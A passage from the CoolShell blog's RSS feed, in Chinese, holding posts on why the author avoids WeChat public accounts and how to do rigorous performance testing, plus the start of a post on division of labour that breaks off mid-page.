https://coolshell.cn/wp-content/uploads/2016/07/Community-503x270.jpg 503w, https://coolshell.cn/wp-content/uploads/2016/07/Community.jpg 838w\" sizes=\"(max-width: 300px) 100vw, 300px\" />很多朋友问我为什么不在微信公众号上写文章。我都没有直接回答，老实说，我也是扭扭捏捏的，才去开了个个人的微信的公众号，而且还只是为了使用微服小程序，和文章的发布通知，我承认现在的阅读都在移动端，而且微信的公众号是国内移动端的文章流量及分享的入口，但是我还是更愿意使用blog这样的方式分享文章，最多也是在blog这边写好文章后，再去微信公众号那边通知一下。这个原因，不是因为我是一个老顽固，有习惯思维，而是，我不觉得微信公众号是一个好的信息传播和交流的平台。</p>\n<p><strong>我下面的言论仅仅代表我的个人观点，我不想强加给别人，我只是想说明一下为什么我不把我的blog迁移到微信公众号上。</strong></p>\n<p>首先，互联网是开放和共享的，不是封闭的。信息的传播更是需要开放的，大家可以看看<a href=\"https://coolshell.cn/articles/11928.html\" target=\"_blank\" rel=\"noopener noreferrer\">互联网之子</a>。</p>\n<ul>\n<li>我希望我的文章能够被rss feed到各种阅读器中。</li>\n<li>我希望我的文章能有更长的生命周期，长到十几年前的文章都会有人来读。</li>\n<li>我希望我的文章可以被搜索引擎所检索到。</li>\n<li>我希望我的文章能被别人整理，与其它人的文章放在一起互补并引用。</li>\n<li>我希望我的文章能被修改，因为文章会有错误，也会需要时常更新。</li>\n</ul>\n<p>然而，微信公众号都不能很好的支持。我希望我的文章能成为生态圈的里的一部份。所谓生态圈是相互融合，不是唯我独尊。这个和做开源软件的道理一样，开源软件不是把源代码开出来就好了，而是要去和已有的其它软件互相融合，互相兼容，互相支持，这本就是软件设计的真谛（参看《UNIX编程艺术》）。所以，我想，写文章也一样。</p>\n<p>下面是我觉得文章传播的姿势。</p>\n<p><span id=\"more-17391\"></span></p>\n<h4>文章传播的姿势</h4>\n<p><strong>我希望我的文章是被检索的，这意味着，就算文章写过了好多年，它依然可以被检索到，而不是在社交圈上被大众转了3-4天后就完了，然后再也没有然后了</strong>。</p>\n<p style=\"padding-left: 30px;\">今天，我十多年前写的文章依然可以被检索到，依然对后来的新人有帮助。因为我的文章被搜索引擎检索了，我的文章被转载fork出去了，被人引用和标注，所以，可以长期被传播。</p>\n<p style=\"padding-left: 30px;\">今天的酷壳（CoolShell.cn）已经很长时间没有更新了，然而里面的很多文章依然在被转发着，在被搜索着，在被重复阅读和被人推荐着，文章不断的被后来的人阅读。这就是被检索被共享被转载的好处。</p>\n<p>同时，我并不希望成为某个平台写文章的苦力。在微信公众号下，你需要不断的更新才会积累起人气（订阅者），而文章的保鲜期非常有限，因为不能被检索，所以，你写的越多，你过去的文章也会被遗忘的越快。<strong>而微信公众平台让能写文章的人好像成为了这个平台的一个写作的奴隶，而不是让他们的文章中的内容和观点可以有长时间的影响力</strong>。换言之，在社交网络上，如果你要有影响力，你就要使劲写，需要更多的粉丝和订阅者。我个人认为这是违反了信息传播规律的。</p>\n<p><strong>最重要的是，我希望我的文章和观点是有讨论的，希望我的文章能被指正和批评，最好是引发讨论和思辨</strong>，这样才会让我们每一个人都可以在交流中成长。<strong>很多时候，文章本身并没有什么太大的价值，而引发的讨论和思辨才更有价值，这是我认为文章传播最正确的姿势。而微信的公众号在讨论方面人为的阻止或大大消弱了大家的沟通和讨论（尤其是精选评论）</strong>。虽然我承认有些讨论也是无效的，而且还有漫骂和跑题，但是我依然觉得百花齐放的讨论的利大于弊。</p>\n<p>我私以为，<strong>信息的传播正确姿势，是被检索、讨论、引用、整理、补充和更新，而不是社交网络的转发、点赞、粉丝、订阅和打赏</strong>。</p>\n<p>换句话说，<strong>我关注的是的文章的长期价值，而不是短期的表象</strong>。</p>\n<h4>关于文章的版权</h4>\n<p>很多人认为，封闭的平台有个比开放平台天然的优势，就是盗版和抄袭的问题，可以通过平台举报和惩罚对方。我以前也受到一些被抄袭和盗用的困扰，还曾经拿起来法律的武器维护自己的权利。</p>\n<p>可能是我经历这样的事情比较早，所以，我今天在这个问题上不纠结了。</p>\n<p style=\"padding-left: 30px;\">1、好的有价值的文章总是被人盗用抄袭的，这也算是对作者的一种认可吧。</p>\n<p style=\"padding-left: 30px;\">2、我从来没有见过有人靠抄袭和盗用别人文章而成功的，无非就是收获几个赞罢了。</p>\n<p style=\"padding-left: 30px;\">3、原创文章被人过抄袭和盗用，反而容易得到更多的关注。</p>\n<p><strong>微信公众号的原创保护也只是局限在微信上，微信之外的平台，它也无能为力，所以，对于我的文章会被转到很多地方的这种情况来看，微信公众号的原创保护也非常有限。</strong></p>\n<p>现在，我倒是不纠结有人会盗用和抄袭我的文章，因为，一方面，你可以有一些小伎俩来保护你的文章，比如在文章内容中放入一些你自己特有的标识，另一方面，我的文章被人盗用了抄袭的时候，总有一些网友能在盗用者那边指出来原文章是什么，并批评之。<strong>所以，还是应该把主要精力放在文章的内容和质量上，并让文章可以被检索和被更多的地方所引用，这样，你的文章才会得到最大的保护</strong>。</p>\n<p>另外，<strong>既然别人对我的文章有抄袭和盗用的需求，要不我就让别人干得更体面一些。所以，我的文章完全可以自由的转载，但不得用于商业目的，只需要注明作者和出处就好了</strong>。</p>\n<p>&nbsp;</p>\n<h4>关于写文章挣钱</h4>\n<p>首先，如果你觉得在微信公众号上写技术文章是可以挣钱的，那么恐怕你搞错了，营销文是可以的，技术文章还是比较难的。</p>\n<p>当然，你要挣点小钱是可以有的，但是，你需要写软文中植入广告，或是消费热点主题，比如前段时间的魏则西事件，有的公众号被打赏了一些钱。</p>\n<p>老实说，这对我来说完全无感，因为，我的逻辑是这样的：<strong>我觉得一个人有一定的影响力，其中有很大一部份原因来自他的独立性，如果我开始写软文了，相当于我把自己卖了</strong>。</p>\n<p>所以，我现在从来不通过写文章挣钱，因为我会写代码，我还是通过我的技能挣钱，通过给一些公司做咨询、培训、企业服务挣钱，老实说，靠自己的能力挣钱，比写文章挣钱挣得多多了，因为我觉得，<strong>像我写的这类的文章本来就是用来分享和传播的，不是用来挣钱的。写文章的目的是分享和影响，不是挣钱。</strong></p>\n<p>关于独立性，这里说两个花絮吧——</p>\n<p style=\"padding-left: 30px;\">我在Amazon的时候，我和公司讲，我想在我的博客上写几篇关于亚马逊的文章，介绍亚马逊的技术和一些做事的方法，也算是个宣传，让我的团队也好招人，但是，我当时的老板和我说，你的博客之所以有影响力是因为你的独立性，不要写亚马逊的，这样会把你自己卖了，千万别这么做。</p>\n<p style=\"padding-left: 30px;\">然而，我在Alibaba的时候，我的大老板要求我用我的博客和微博帮阿里云做营销，我非常委婉地拒绝了，结果，团队合作的价值观不达标了。呵呵。</p>\n<p>P.S. 本来酷壳上是不做广告的，今天，酷壳上也广告，但是广告费是全部捐给Wikipedia的，广告主的钱是没有到我的手的。</p>\n<p>微信公众号上的文章都有软文和广告植放，我觉得这不是我的调调，我害怕微信公众平台的整体格调影响了我的格调。就好像我认为我的网络被百度检索到了会我的网站的格调下降好几个档次。所以，我还是保持一定的距离吧。</p>\n<p><strong>这么说吧，我写文章不是为了挣钱，我也不认为写文章能挣到钱，我写文章就是为了分享和影响，我会借助社交网络，但不会寄宿在社交网络上，更不会被社交网络所绑架。</strong></p>\n<p>谢谢看我的唠叨！</p>\n<p>（全文完）</p>\n<p>&nbsp;</p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8422.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"TF-IDF模型的概率解释\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8422.html\" class=\"wp_rp_title\">TF-IDF模型的概率解释</a></li><li ><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"InfoQ的ArchSummit大会对我的采访\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8031.html\" class=\"wp_rp_title\">InfoQ的ArchSummit大会对我的采访</a></li><li ><a href=\"https://coolshell.cn/articles/1092.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" alt=\"Top 200的全球开发者BLOG\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1092.html\" class=\"wp_rp_title\">Top 200的全球开发者BLOG</a></li><li ><a href=\"https://coolshell.cn/articles/1714.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"Firefox插件WebMail Notifier\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1714.html\" class=\"wp_rp_title\">Firefox插件WebMail Notifier</a></li><li ><a href=\"https://coolshell.cn/articles/5426.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/rectangular-blocks-150x150.gif\" alt=\"简明 Vim 练级攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5426.html\" class=\"wp_rp_title\">简明 Vim 练级攻略</a></li><li ><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg\" alt=\"SQL的Where语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1889.html\" class=\"wp_rp_title\">SQL的Where语句</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17391.html\">为什么我不在微信公众号上写文章</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17391.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>259</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>性能测试应该怎么做？</title>\n\t\t<link>https://coolshell.cn/articles/17381.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17381.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 05 Jul 2016 17:03:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<category><![CDATA[test]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17381</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>偶然间看到了阿里中间件Dubbo的性能测试报告，我觉得这份性能测试报告让人觉得做这性能测试的人根本不懂性能测试，我觉得这份报告会把大众带沟里去，所以，想写下这篇...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17381.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-17383\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest.png\" alt=\"PerfTest\" width=\"300\" height=\"277\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest.png 300w, https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-292x270.png 292w\" sizes=\"(max-width: 300px) 100vw, 300px\" />偶然间看到了阿里中间件<a href=\"http://dubbo.io/User+Guide-zh.htm#UserGuide-zh-%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95%E6%8A%A5%E5%91%8A\" target=\"_blank\">Dubbo的性能测试报告</a>，我觉得这份性能测试报告让人觉得做这性能测试的人根本不懂性能测试，我觉得这份报告会把大众带沟里去，所以，想写下这篇文章，做一点科普。</p>\n<p>首先，这份测试报告里的主要问题如下：</p>\n<p><strong>1）用的全是平均值</strong>。老实说，平均值是非常不靠谱的。</p>\n<p><strong>2）响应时间没有和吞吐量TPS/QPS挂钩</strong>。而只是测试了低速率的情况，这是完全错误的。</p>\n<p><strong>3）响应时间和吞吐量没有和成功率挂钩。</strong></p>\n<p><span id=\"more-17381\"></span></p>\n<h4>为什么平均值不靠谱</h4>\n<p>关于平均值为什么不靠谱，我相信大家读新闻的时候经常可以看到，<strong>平均工资</strong>，<strong>平均房价</strong>，<strong>平均支出</strong>，等等这样的字眼，<span id=\"zoom\" class=\"show_c\">你就知道为什么平均值不靠谱了。（这些都是数学游戏，对于理工科的同学来说，天生应该有免疫力）</span></p>\n<p>软件的性能测试也一样，平均数也是不靠谱的，这里可以参看这篇详细的文章《<a href=\"http://apmblog.dynatrace.com/2012/11/14/why-averages-suck-and-percentiles-are-great/\" target=\"_blank\">Why Averages Suck and Percentiles are Great</a>》，我在这里简单说一下。</p>\n<p>我们知道，性能测试时，测试得到的结果数据不总是一样的，而是有高有低的，如果算平均值就会出现这样的情况，假如，测试了10次，有9次是1ms，而有1次是1s，那么平均数据就是100ms，很明显，这完全不能反应性能测试的情况，也许那1s的请求就是一个不正常的值，是个噪点，应该去掉。所以，我们会在一些评委打分中看到要去掉一个最高分一个最低分，然后再算平均值。</p>\n<p>另外，中位数（Mean）可能会比平均数要稍微靠谱一些，所谓中位数的意就是把将一组数据按大小顺序排列，处在最中间位置的一个数叫做这组数据的中位数 ，这意味着至少有50%的数据低于或高于这个中位数。</p>\n<p>当然，最为正确的统计做法是用百分比分布统计。也就是英文中的TP &#8211; Top Percentile ，TP50的意思在，50%的请求都小于某个值，TP90表示90%的请求小于某个时间。</p>\n<p>比如：我们有一组数据：[ 10ms,  1s, 200ms, 100ms]，我们把其从小到大排个序：[10ms, 100ms, 200ms, 1s]，于是我们知道，TP50，就是50%的请求ceil(4*0.5)=2时间是小于100ms的，TP90就是90%的请求ceil(4*0.9)=4时间小于1s。于是：TP50就是100ms，TP90就是1s。</p>\n<p>我以前在路透做的金融系统响应时间的性能测试的要求是这样的，<strong>99.9%的请求必须小于1ms，所有的平均时间必须小于1ms。两个条件的限制。</strong></p>\n<h4>为什么响应时间（latency）要和吞吐量（Thoughput）挂钩</h4>\n<p>系统的性能如果只看吞吐量，不看响应时间是没有意义的。我的系统可以顶10万请求，但是响应时间已经到了5秒钟，这样的系统已经不可用了，这样的吞吐量也是没有意义的。</p>\n<p>我们知道，当并发量（吞吐量）上涨的时候，系统会变得越来越不稳定，响应时间的波动也会越来越大，响应时间也会变得越来越慢，而吞吐率也越来越上不去（如下图所示），包括CPU的使用率情况也会如此。所以，当系统变得不稳定的时候，吞吐量已经没有意义了。吞吐量有意义的时候仅当系统稳定的时候。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17382\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/BenchmarkOptimalRate.png\" alt=\"BenchmarkOptimalRate\" width=\"535\" height=\"343\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/07/BenchmarkOptimalRate.png 535w, https://coolshell.cn/wp-content/uploads/2016/07/BenchmarkOptimalRate-300x192.png 300w\" sizes=\"(max-width: 535px) 100vw, 535px\" /></p>\n<p>所以，<strong>吞吐量的值必需有响应时间来卡。</strong>比如：<strong>TP99小于100ms的时候，系统可以承载的最大并发数是1000qps</strong>。这意味着，我们要不断的在不同的并发数上测试，以找到软件的最稳定时的最大吞吐量。</p>\n<p>&nbsp;</p>\n<h4>为什么响应时间吞吐量和成功率要挂钩</h4>\n<p>我们这应该不难理解了，如果请求不成功的话，都还做毛的性能测试。比如，我说我的系统并发可以达到10万，但是失败率是</p>\n<p>40%，那么，这10万的并发完全就是一个笑话了。</p>\n<p>性能测试的失败率的容忍应该是非常低的。对于一些关键系统，成功请求数必须在100%，一点都不能含糊。</p>\n<p>&nbsp;</p>\n<h4>如何严谨地做性能测试</h4>\n<p>一般来说，性能测试要统一考虑这么几个因素：<strong>Thoughput吞吐量</strong>，<strong>Latency响应时间</strong>，<strong>资源利用</strong>（CPU/MEM/IO/Bandwidth&#8230;），<strong>成功率</strong>，<strong>系统稳定性</strong>。</p>\n<p>下面的这些性能测试的方式基本上来源自我的老老东家汤森路透，一家做real-time的金融数据系统的公司。</p>\n<p style=\"padding-left: 30px;\"><strong>一，你得定义一个系统的响应时间latency，建议是TP99，以及成功率</strong>。比如路透的定义：99.9%的响应时间必需在1ms之内，平均响应时间在1ms以内，100%的请求成功。</p>\n<p style=\"padding-left: 30px;\"><strong>二，在这个响应时间的限制下，找到最高的吞吐量</strong>。测试用的数据，需要有大中小各种尺寸的数据，并可以混合。最好使用生产线上的测试数据。</p>\n<p style=\"padding-left: 30px;\"><strong>三，在这个吞吐量做Soak Test，比如：使用第二步测试得到的吞吐量连续7天的不间断的压测系统。</strong>然后收集CPU，内存，硬盘/网络IO，等指标，查看系统是否稳定，比如，CPU是平稳的，内存使用也是平稳的。那么，这个值就是系统的性能</p>\n<p style=\"padding-left: 30px;\"><strong>四，找到系统的极限值。比如：在成功率100%的情况下（不考虑响应时间的长短），系统能坚持10分钟的吞吐量。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>五，做Burst Test。用第二步得到的吞吐量执行5分钟，然后在第四步得到的极限值执行1分钟，再回到第二步的吞吐量执行5钟，再到第四步的权限值执行1分钟，如此往复个一段时间，比如2天。</strong>收集系统数据：CPU、内存、硬盘/网络IO等，观察他们的曲线，以及相应的响应时间，确保系统是稳定的。</p>\n<p style=\"padding-left: 30px;\"><strong>六、低吞吐量和网络小包的测试。</strong>有时候，在低吞吐量的时候，可能会导致latency上升，比如TCP_NODELAY的参数没有开启会导致latency上升（详见<a href=\"https://coolshell.cn/articles/11564.html\" target=\"_blank\">TCP的那些事</a>），而网络小包会导致带宽用不满也会导致性能上不去，所以，性能测试还需要根据实际情况有选择的测试一下这两咱场景。</p>\n<p>（注：在路透，路透会用第二步得到的吞吐量乘以66.7%来做为系统的软报警线，80%做为系统的硬报警线，而极限值仅仅用来扛突发的peak）</p>\n<p><strong>是不是很繁锁？是的，只因为，这是工程，工程是一门科学，科学是严谨的。</strong></p>\n<p>欢迎大家也分享一下你们性能测试的经验和方法。</p>\n<p>（全文完）</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/01/trade-off-150x150.jpg\" alt=\"分布式系统的事务处理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10910.html\" class=\"wp_rp_title\">分布式系统的事务处理</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li><li ><a href=\"https://coolshell.cn/articles/9169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/Disruptor-150x150.png\" alt=\"并发框架Disruptor译文\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9169.html\" class=\"wp_rp_title\">并发框架Disruptor译文</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17381.html\">性能测试应该怎么做？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17381.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>77</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>让我们来谈谈分工</title>\n\t\t<link>https://coolshell.cn/articles/17295.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17295.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 13 Dec 2015 04:55:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Division of Labour]]></category>\n\t\t<category><![CDATA[manager]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17295</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>昨天，我看到一个新闻——雅虎取消了QA团队，工程师必须自己负责代码质量，并使用持续集成代替QA。 同时，也听到网友说，“听微软做数据库运维的工程师介绍，他们也是...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17295.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17295.html\">让我们来谈谈分工</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-17298\" src=\"https://coolshell.cn/wp-content/uploads/2015/12/Division_of_Labour.jpeg\" alt=\"Division of Labour\" width=\"311\" height=\"210\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/12/Division_of_Labour.jpeg 311w, https://coolshell.cn/wp-content/uploads/2015/12/Division_of_Labour-300x203.jpeg 300w\" sizes=\"(max-width: 311px) 100vw, 311px\" />昨天，我看到<a href=\"http://spectrum.ieee.org/view-from-the-valley/computing/software/yahoos-engineers-move-to-coding-without-a-net\" target=\"_blank\">一个新闻</a>——雅虎取消了QA团队，工程师必须自己负责代码质量，并使用持续集成代替QA。 同时，也听到网友说，“听微软做数据库运维的工程师介绍，他们也是把运维工程师和测试工程师取消了，由开发全部完成。每个人都是全栈工程师”。于是，我顺势引用了几年前写过一篇文章《<a href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\">我们需要专职的QA吗？</a>》，并且又鼓吹了一下全栈。当然，一如既往的得到了一些的争议和嘲弄;-)。</p>\n<p>有人认为取消QA基本上是公司没钱的象征，这个观点根本不值一驳，属于井底之蛙。有人认为，社会分工是大前提，并批评我说怎么不说把所有的事全干的，把我推向了另外一个极端。另外，你千万不要以为有了分工，QA的工作就保得住了。</p>\n<p>就像《乔布斯传》中乔布斯质疑财务制度的时候说的，有时候，很多人都不问为什么，觉得存在的东西都是理所应当的东西。让我们失去了独立思考的机会。分工也是一样。</p>\n<p>所以，为了说完整分工这个逻辑。请大家耐住性子，让我就先来谈谈“分工的优缺点”吧。</p>\n<p><span id=\"more-17295\"></span></p>\n<h4>分工的优点和缺点</h4>\n<p>首先，分工（Division of Labour）应该是由 <a href=\"https://en.wikipedia.org/wiki/Adam_Smith\" target=\"_blank\">Adam Smith</a> 在1776年的《<a href=\"https://en.wikipedia.org/wiki/The_Wealth_of_Nations\" target=\"_blank\">国富论</a>》中提出来的，Adam在那时候就观察到分工对于手工业生产效率的提高。他将效率提高的原因归结于三点：</p>\n<ul>\n<li>熟练程度的增加。当一个工人单纯地重复同一道工序时，其对这道工序的熟练程度会大幅增加。<strong>表现为产量和质量的提高</strong>。</li>\n<li>如果没有分工，由一道工序转为另一道工序时会损失时间，而分工避免了这中间的损失。</li>\n<li>由于对于工序的了解和熟练度的增加，<strong>更有效率的机械和工具被发明出来，从而提高了产量</strong>。</li>\n</ul>\n<p>分工的确是提高生产力。我想到了福特公司一开始做出来的汽车几乎卖不出去，原因有两个，一个是成本太高，另外是生产太复杂，产能太低。于是福特公司开始把制造一辆汽车的工序分解开来，进行分工，分工给福特公司带来的好处是：</p>\n<ol>\n<li>很多工作可以并行了，而且<strong>因为事情变得简单后，执行力也变强了</strong></li>\n<li>一个非常复杂和高深的汽车制造因为分工后，<strong>很多工作不需要很NB的人来干了，只需要一般劳动者经过简单的培训就可以干了</strong>。而且，越干越熟练，越干越专业，最终可能让合适的人合适的事。</li>\n<li>分工后导致了很多重复劳动可以用技术来解决，于是福特公司出现生产流水线的技术（你是否还记得卓别林《摩登时代》里的工业生产流水线的场景，那取自福特公司）。</li>\n</ol>\n<p>于是，福特公司的生产效率大大提高，最终实现了让每个美国家庭都能买得起汽车的理想，同时让美国成为了轮子上的国家。</p>\n<p>不过，我们需要注意的是，在《国富论》中，Adam他同时也提到，分工如果过细，同样会带来问题——<strong>简单重复的劳动会让人变成一个不会思考的机器，从而越来越笨，进而变成平庸的无技能的人</strong>。自“分工”出现以后，争论就没有停止过。</p>\n<p>Karl Max同样认为<strong>分工越来越细，会导致人的技术越来越差，同时，大量的重复劳动也会导致人对工作的失出热情，产生厌倦和抵触心理，最终会导致生产力的下降</strong>。</p>\n<p>同时，还有一些经济学家也同样表明分工的一些缺点：</p>\n<ul>\n<li><strong>导致人只关注整个事情中的一小块，缺乏全局视角，导致视野受限，没有完全领会工作的意义和目标，从而导致各种返工</strong>。</li>\n</ul>\n<ul>\n<li><strong>对于组织而言，分工也会导致出现大量的沟通协同成本，并出现碎片的生产方式，以及组织的孤岛形式，并不利于提高生产力</strong>。</li>\n</ul>\n<p>当然，奥地利经济学家<a title=\"Ludwig von Mises\" href=\"https://en.wikipedia.org/wiki/Ludwig_von_Mises\">Ludwig von Mises</a> 并不这么认为，他认为，在分工所得到的好处面前，这些副作用不算什么。并且，他认为在资本主义的制度下，完全是可以平衡分工的各种优点和各种缺点，从而可以达到提高生产力和提高人员素质的双赢解的。</p>\n<p>比如说，<strong>分工中的各种沟通问题是可以通过一个标准协议来解的</strong>，造灯泡的，造开关的，造灯座的完全不知道对方的存在，他们只所以可以让做出来的东西拼在一起，完全是通过了一种标准协议完成的。<strong>这也是为什么这个世界上有各种各样的标准化的组织</strong>。</p>\n<p>还有很多经济学家对分工都有自己的见解和想法。不过基本上就是上面这些Pros和Cons了。下图是一个PPT的两个slids，可以点击看大图（<a href=\"http://www.slideshare.net/kamran121/lecture-5-10123392\" target=\"_blank\">来源</a>）</p>\n<table>\n<tbody>\n<tr>\n<td><a href=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-10-728.jpg\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17299\" src=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-10-728.jpg\" alt=\"lecture-5-10-728\" width=\"391\" height=\"293\" 